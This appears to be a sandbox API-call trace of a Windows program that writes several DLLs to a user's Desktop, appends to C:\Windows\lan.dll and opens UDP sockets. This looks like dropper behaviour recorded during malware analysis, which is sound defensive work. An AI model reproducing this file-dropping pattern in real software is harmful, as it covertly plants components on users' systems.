[0129.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", lpFilePart=0x0) returned 0x2e
[0129.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", lpFilePart=0x0) returned 0x2e
[0129.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", lpFilePart=0x0) returned 0x2e
[0129.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", lpFilePart=0x0) returned 0x2e
[0129.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0129.390] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tucl.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297bde40, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x297bde40, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x297e3fa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1800)) returned 1
[0129.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0129.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", lpFilePart=0x0) returned 0x2e
[0129.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0129.391] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tucl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454
[0129.391] GetFileType (hFile=0x454) returned 0x1
[0129.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0129.391] GetFileType (hFile=0x454) returned 0x1
[0129.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0129.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", lpFilePart=0x0) returned 0x30
[0129.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0129.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tucl-1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458
[0129.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0129.419] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", lpFilePart=0x0) returned 0x30
[0129.420] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", lpFilePart=0x0) returned 0x30
[0129.420] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", lpFilePart=0x0) returned 0x30
[0129.420] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", lpFilePart=0x0) returned 0x30
[0129.420] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", lpFilePart=0x0) returned 0x30
[0129.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0129.420] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tucl-1.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29830260, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29830260, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29830260, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2400)) returned 1
[0129.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0129.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", lpFilePart=0x0) returned 0x30
[0129.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0129.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tucl-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458
[0129.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0129.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0129.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", lpFilePart=0x0) returned 0x2d
[0129.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0129.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ucl.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c
[0129.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0129.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", lpFilePart=0x0) returned 0x2d
[0129.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", lpFilePart=0x0) returned 0x2d
[0129.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", lpFilePart=0x0) returned 0x2d
[0129.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", lpFilePart=0x0) returned 0x2d
[0129.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", lpFilePart=0x0) returned 0x2d
[0129.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0129.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ucl.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298a2680, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x298a2680, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x298a2680, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xe400)) returned 1
[0129.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0129.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", lpFilePart=0x0) returned 0x2d
[0129.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0129.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ucl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c
[0129.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0129.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0129.476] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", lpFilePart=0x0) returned 0x2f
[0129.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0129.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zlib1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x460
[0129.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0129.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", lpFilePart=0x0) returned 0x2f
[0129.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", lpFilePart=0x0) returned 0x2f
[0129.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", lpFilePart=0x0) returned 0x2f
[0129.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", lpFilePart=0x0) returned 0x2f
[0129.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", lpFilePart=0x0) returned 0x2f
[0129.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0129.496] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zlib1.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298c87e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x298c87e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x298ee940, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x40000)) returned 1
[0129.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0129.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", lpFilePart=0x0) returned 0x2f
[0129.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0129.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zlib1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x460
[0129.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0129.497] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0129.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", lpFilePart=0x0) returned 0x2d
[0129.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0129.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x86.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x464
[0129.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0129.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", lpFilePart=0x0) returned 0x2d
[0129.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", lpFilePart=0x0) returned 0x2d
[0129.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", lpFilePart=0x0) returned 0x2d
[0129.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", lpFilePart=0x0) returned 0x2d
[0129.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", lpFilePart=0x0) returned 0x2d
[0129.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0129.510] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x86.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29914aa0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29914aa0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29914aa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1
[0129.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0129.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", lpFilePart=0x0) returned 0x2d
[0129.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0129.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x86.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x464
[0129.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0129.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0129.540] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", lpFilePart=0x0) returned 0x2d
[0129.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0129.540] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x64.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468
[0129.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0129.543] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", lpFilePart=0x0) returned 0x2d
[0129.543] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", lpFilePart=0x0) returned 0x2d
[0129.543] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", lpFilePart=0x0) returned 0x2d
[0129.544] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", lpFilePart=0x0) returned 0x2d
[0129.544] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", lpFilePart=0x0) returned 0x2d
[0129.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0129.544] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x64.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29960d60, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29960d60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29960d60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1400)) returned 1
[0129.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0129.544] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", lpFilePart=0x0) returned 0x2d
[0129.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0129.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468
[0129.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0129.549] GetFullPathNameW (in: lpFileName="C:\\Windows\\lan.dll", nBufferLength=0x105, lpBuffer=0x2ec8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\lan.dll", lpFilePart=0x0) returned 0x12
[0129.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecd80) returned 1
[0129.549] CreateFileW (lpFileName="C:\\Windows\\lan.dll" (normalized: "c:\\windows\\lan.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x46c
[0129.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eccf0) returned 1
[0129.549] SetFilePointer (in: hFile=0x46c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ecd68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ecd68*=0) returned 0x2ac
[0129.552] GetFullPathNameW (in: lpFileName="C:\\Windows\\lan.dll", nBufferLength=0x105, lpBuffer=0x2ec8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\lan.dll", lpFilePart=0x0) returned 0x12
[0129.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecd80) returned 1
[0129.553] CreateFileW (lpFileName="C:\\Windows\\lan.dll" (normalized: "c:\\windows\\lan.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x46c
[0129.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eccf0) returned 1
[0129.553] SetFilePointer (in: hFile=0x46c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ecd68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ecd68*=0) returned 0x325
[0129.606] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2ecfa8 | out: lpWSAData=0x2ecfa8) returned 0
[0129.626] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x484
[0130.155] setsockopt (s=0x484, level=65535, optname=128, optval="\x01", optlen=4) returned -1
[0130.156] closesocket (s=0x484) returned 0
[0130.156] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x484
[0130.165] setsockopt (s=0x484, level=65535, optname=128, optval="\x01", optlen=4) returned -1
[0130.165] closesocket (s=0x484) returned 0
